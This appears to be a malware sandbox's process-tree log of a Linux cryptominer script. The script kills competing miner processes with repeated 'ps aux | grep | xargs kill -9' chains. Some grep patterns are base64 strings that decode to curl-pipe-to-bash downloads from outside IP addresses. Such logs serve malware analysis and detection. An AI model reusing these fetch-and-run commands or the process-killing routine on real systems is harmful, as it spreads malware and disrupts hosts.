/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep 158.69.133.18:82202⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/bin/grepgrep /tmp/java2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep gitee.com2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep /tmp/java2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep 104.248.4.1622⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep 89.35.39.782⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep /dev/shm/z3.sh2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep kthrotlds2⤵
-
/bin/psps aux2⤵
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep ksoftirqds2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep netdns2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/bin/grepgrep watchdogs2⤵
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep kdevtmpfsi2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads runtime system information
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/grepgrep kinsing2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep redis22⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/psps aux2⤵
-
/bin/grepgrep sync_supers2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/cutcut -c 9-152⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/cutcut -c 9-152⤵
-
/bin/grepgrep cpuset2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep "x]"2⤵
-
/bin/grepgrep -v aux2⤵
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep "sh] <"2⤵
-
/bin/grepgrep -v aux2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep -v aux2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/bin/grepgrep " \\[]"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep /tmp/l.sh2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep /tmp/zmcat2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep hahwNEdB2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep CnzFVPLF2⤵
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep CvKzzZLs2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/psps aux2⤵
- Reads runtime system information
-
/bin/grepgrep aziplcr72qjhzvin2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep /tmp/udevd2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep sustse2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep sustse32⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep wget2⤵
-
/bin/grepgrep mr.sh2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep curl2⤵
-
/bin/grepgrep mr.sh2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/bin/grepgrep wget2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep 2mr.sh2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep curl2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/psps aux2⤵
-
/bin/grepgrep 2mr.sh2⤵
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep wget2⤵
-
/bin/grepgrep cr5.sh2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep curl2⤵
-
/bin/grepgrep cr5.sh2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
-
/bin/grepgrep wget2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep logo9.jpg2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep curl2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep logo9.jpg2⤵
-
/bin/grepgrep -v grep2⤵
-
/bin/psps aux2⤵
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
/bin/grepgrep -v grep2⤵
-
/usr/bin/awkawk "{print \$2}"2⤵
-
/bin/grepgrep j2.conf2⤵
-
/bin/psps aux2⤵
-
/usr/local/sbin/apt-extracttemplatesapt-extracttemplates /var/cache/apt/archives/unhide_20130526-1+deb9u1_mipsel.deb1⤵
-
/usr/local/bin/apt-extracttemplatesapt-extracttemplates /var/cache/apt/archives/unhide_20130526-1+deb9u1_mipsel.deb1⤵
-
/usr/sbin/apt-extracttemplatesapt-extracttemplates /var/cache/apt/archives/unhide_20130526-1+deb9u1_mipsel.deb1⤵
-
/usr/bin/apt-extracttemplatesapt-extracttemplates /var/cache/apt/archives/unhide_20130526-1+deb9u1_mipsel.deb1⤵
- Writes file to tmp directory
-
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures2⤵
-
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures2⤵
-
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures2⤵
-
/usr/local/sbin/apt-extracttemplatesapt-extracttemplates /var/cache/apt/archives/libmpfr4_3.1.5-1_mipsel.deb /var/cache/apt/archives/libsigsegv2_2.10-5_mipsel.deb "/var/cache/apt/archives/gawk_1%3a4.1.4+dfsg-1_mipsel.deb"1⤵
-
/usr/local/bin/apt-extracttemplatesapt-extracttemplates /var/cache/apt/archives/libmpfr4_3.1.5-1_mipsel.deb /var/cache/apt/archives/libsigsegv2_2.10-5_mipsel.deb "/var/cache/apt/archives/gawk_1%3a4.1.4+dfsg-1_mipsel.deb"1⤵
-
/usr/sbin/apt-extracttemplatesapt-extracttemplates /var/cache/apt/archives/libmpfr4_3.1.5-1_mipsel.deb /var/cache/apt/archives/libsigsegv2_2.10-5_mipsel.deb "/var/cache/apt/archives/gawk_1%3a4.1.4+dfsg-1_mipsel.deb"1⤵
-
/usr/bin/apt-extracttemplatesapt-extracttemplates /var/cache/apt/archives/libmpfr4_3.1.5-1_mipsel.deb /var/cache/apt/archives/libsigsegv2_2.10-5_mipsel.deb "/var/cache/apt/archives/gawk_1%3a4.1.4+dfsg-1_mipsel.deb"1⤵
- Writes file to tmp directory
-
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures2⤵
-
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures2⤵
-
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures2⤵